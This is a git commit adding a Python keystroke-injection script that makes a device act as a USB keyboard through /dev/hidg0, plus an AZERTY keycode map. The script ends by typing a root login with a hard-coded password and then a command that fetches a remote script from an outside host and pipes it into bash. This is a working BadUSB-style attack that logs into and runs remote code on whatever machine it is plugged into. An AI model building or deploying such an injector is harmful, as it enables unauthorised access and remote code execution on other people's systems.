Initial commit
commit
bbb21c0802
Binary file not shown.
@ -0,0 +1,73 @@
|
||||
#!/usr/bin/env python3
|
||||
import keycodes
|
||||
import time
|
||||
|
||||
NULL_CHAR = chr(0)
|
||||
|
||||
def write_report(report):
|
||||
with open('/dev/hidg0', 'rb+') as fd:
|
||||
fd.write(report.encode())
|
||||
|
||||
# Press a
|
||||
# write_report(NULL_CHAR*2+chr(4)+NULL_CHAR*5)
|
||||
# Release keys
|
||||
#write_report(NULL_CHAR*8)
|
||||
# Press SHIFT + a = A
|
||||
#write_report(chr(32)+NULL_CHAR+chr(4)+NULL_CHAR*5)
|
||||
|
||||
# Press b
|
||||
#write_report(NULL_CHAR*2+chr(5)+NULL_CHAR*5)
|
||||
# Release keys
|
||||
#write_report(NULL_CHAR*8)
|
||||
# Press SHIFT + b = B
|
||||
#write_report(chr(32)+NULL_CHAR+chr(5)+NULL_CHAR*5)
|
||||
|
||||
# Press SPACE key
|
||||
#write_report(NULL_CHAR*2+chr(44)+NULL_CHAR*5)
|
||||
|
||||
# Press c key
|
||||
#write_report(NULL_CHAR*2+chr(6)+NULL_CHAR*5)
|
||||
# Press d key
|
||||
#write_report(NULL_CHAR*2+chr(7)+NULL_CHAR*5)
|
||||
|
||||
# Press RETURN/ENTER key
|
||||
#write_report(NULL_CHAR*2+chr(40)+NULL_CHAR*5)
|
||||
|
||||
# Press e key
|
||||
#write_report(NULL_CHAR*2+chr(8)+NULL_CHAR*5)
|
||||
# Press f key
|
||||
#write_report(NULL_CHAR*2+chr(9)+NULL_CHAR*5)
|
||||
|
||||
# Release all keys
|
||||
#write_report(NULL_CHAR*8)
|
||||
|
||||
|
||||
def write_char(char):
|
||||
write_report(NULL_CHAR*2+chr(char)+NULL_CHAR*5)
|
||||
def write_caps(char):
|
||||
write_report(chr(32)+NULL_CHAR+chr(char)+NULL_CHAR*5)
|
||||
def write_str(word):
|
||||
for letter in word:
|
||||
if letter == "|":
|
||||
letter = "\\"
|
||||
write_caps(keycodes.keycodelst[letter])
|
||||
continue
|
||||
if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z':
|
||||
print(letter.capitalize(), letter)
|
||||
write_caps(keycodes.keycodelst[letter])
|
||||
write_report(NULL_CHAR*8)
|
||||
continue
|
||||
else:
|
||||
letter = letter.capitalize()
|
||||
if letter == "\n":
|
||||
letter = "ENTER"
|
||||
write_char(keycodes.keycodelst[letter])
|
||||
write_report(NULL_CHAR*8)
|
||||
|
||||
|
||||
write_str("root\n")
|
||||
time.sleep(0.5)
|
||||
write_str("qwertypass\n")
|
||||
time.sleep(2)
|
||||
write_str("dwget deck.sh/p -qO-|bash\n")
|
||||
#write_word("test|er")
|
@ -0,0 +1,99 @@
|
||||
keycodelst = {"A":0x04}
|
||||
#keycodelst["Q"] = 0x04
|
||||
keycodelst["B"] = 0x05
|
||||
keycodelst["C"] = 0x06
|
||||
keycodelst["D"] = 0x07
|
||||
keycodelst["E"] = 0x08
|
||||
keycodelst["F"] = 0x09
|
||||
keycodelst["G"] = 0x0a
|
||||
keycodelst["H"] = 0x0b
|
||||
keycodelst["I"] = 0x0c
|
||||
keycodelst["J"] = 0x0d
|
||||
keycodelst["K"] = 0x0e
|
||||
keycodelst["L"] = 0x0f
|
||||
keycodelst["M"] = 0x10
|
||||
keycodelst["N"] = 0x11
|
||||
keycodelst["O"] = 0x12
|
||||
keycodelst["P"] = 0x13
|
||||
keycodelst["Q"] = 0x14
|
||||
keycodelst["R"] = 0x15
|
||||
keycodelst["S"] = 0x16
|
||||
keycodelst["T"] = 0x17
|
||||
keycodelst["U"] = 0x18
|
||||
keycodelst["V"] = 0x19
|
||||
keycodelst["W"] = 0x1a
|
||||
keycodelst["X"] = 0x1b
|
||||
keycodelst["Y"] = 0x1c
|
||||
keycodelst["Z"] = 0x1d
|
||||
keycodelst["1"] = 0x1e
|
||||
keycodelst["2"] = 0x1f
|
||||
keycodelst["3"] = 0x20
|
||||
keycodelst["4"] = 0x21
|
||||
keycodelst["5"] = 0x22
|
||||
keycodelst["6"] = 0x23
|
||||
keycodelst["7"] = 0x24
|
||||
keycodelst["8"] = 0x25
|
||||
keycodelst["9"] = 0x26
|
||||
keycodelst["0"] = 0x27
|
||||
keycodelst["ENTER"] = 0x28
|
||||
keycodelst["ESCAPE"] = 0x29
|
||||
keycodelst[","] = 0x36
|
||||
keycodelst["BACKSPACE_DELETE"] = 0x2a
|
||||
keycodelst["TAB"] = 0x2b
|
||||
keycodelst[" "] = 0x2c
|
||||
keycodelst["RIGHT_PARENTHESIS"] = 0x2d
|
||||
keycodelst["="] = 0x2e
|
||||
keycodelst["CARET"] = 0x2f
|
||||
keycodelst["DOLLAR_SIGN"] = 0x30
|
||||
keycodelst["\\"] = 0x31 # Actually a mu
|
||||
keycodelst["#"] = 0x32
|
||||
keycodelst["U_ACCENT"] = 0x34
|
||||
keycodelst["ACCENT_GRAVE"] = 0x35 # Actually, a superscript 2
|
||||
keycodelst[";"] = 0x36
|
||||
keycodelst[":"] = 0x37
|
||||
keycodelst["<"] = 0x64 # Actually exclamation point
|
||||
keycodelst["CAPS_LOCK"] = 0x39
|
||||
keycodelst["F1"] = 0x3a
|
||||
keycodelst["F2"] = 0x3b
|
||||
keycodelst["F3"] = 0x3c
|
||||
keycodelst["F4"] = 0x3d
|
||||
keycodelst["F5"] = 0x3e
|
||||
keycodelst["F6"] = 0x3f
|
||||
keycodelst["F7"] = 0x40
|
||||
keycodelst["F8"] = 0x41
|
||||
keycodelst["F9"] = 0x42
|
||||
keycodelst["F10"] = 0x43
|
||||
keycodelst["F11"] = 0x44
|
||||
keycodelst["F12"] = 0x45
|
||||
keycodelst["PRINT_SCREEN"] = 0x46
|
||||
keycodelst["SCROLL_LOCK"] = 0x47
|
||||
keycodelst["PAUSE_BREAK"] = 0x48
|
||||
keycodelst["INSERT"] = 0x49
|
||||
keycodelst["HOME"] = 0x4a
|
||||
keycodelst["PAGE_UP"] = 0x4b
|
||||
keycodelst["DELETE"] = 0x4c
|
||||
keycodelst["END"] = 0x4d
|
||||
keycodelst["PAGE_DOWN"] = 0x4e
|
||||
keycodelst["RIGHT_ARROW"] = 0x4f
|
||||
keycodelst["LEFT_ARROW"] = 0x50
|
||||
keycodelst["DOWN_ARROW"] = 0x51
|
||||
keycodelst["UP_ARROW"] = 0x52
|
||||
keycodelst["CLEAR"] = 0x53
|
||||
keycodelst["LEFT_CTRL"] = 0xe0
|
||||
keycodelst["LEFT_SHIFT"] = 0xe1
|
||||
keycodelst["LEFT_ALT"] = 0xe2
|
||||
keycodelst["LEFT_META"] = 0xe3
|
||||
keycodelst["RIGHT_CTRL"] = 0xe4
|
||||
keycodelst["RIGHT_SHIFT"] = 0xe5
|
||||
keycodelst["RIGHT_ALT"] = 0xe6
|
||||
keycodelst["RIGHT_META"] = 0xe7
|
||||
keycodelst["MEDIA_PLAY_PAUSE"] = 0xe8
|
||||
keycodelst["REFRESH"] = 0xfa
|
||||
|
||||
# Keycodes that have no mapping in AZERTY
|
||||
keycodelst["/"] = 0x38
|
||||
keycodelst["["] = 0x0
|
||||
keycodelst["-"] = 0x2d
|
||||
keycodelst["]"] = 0x0
|
||||
keycodelst["."] = 0x37
|
||||
keycodelst["\'"] = 0x31 # This exists, but we use keycodelst["4 instead.
|
Loading…
Reference in New Issue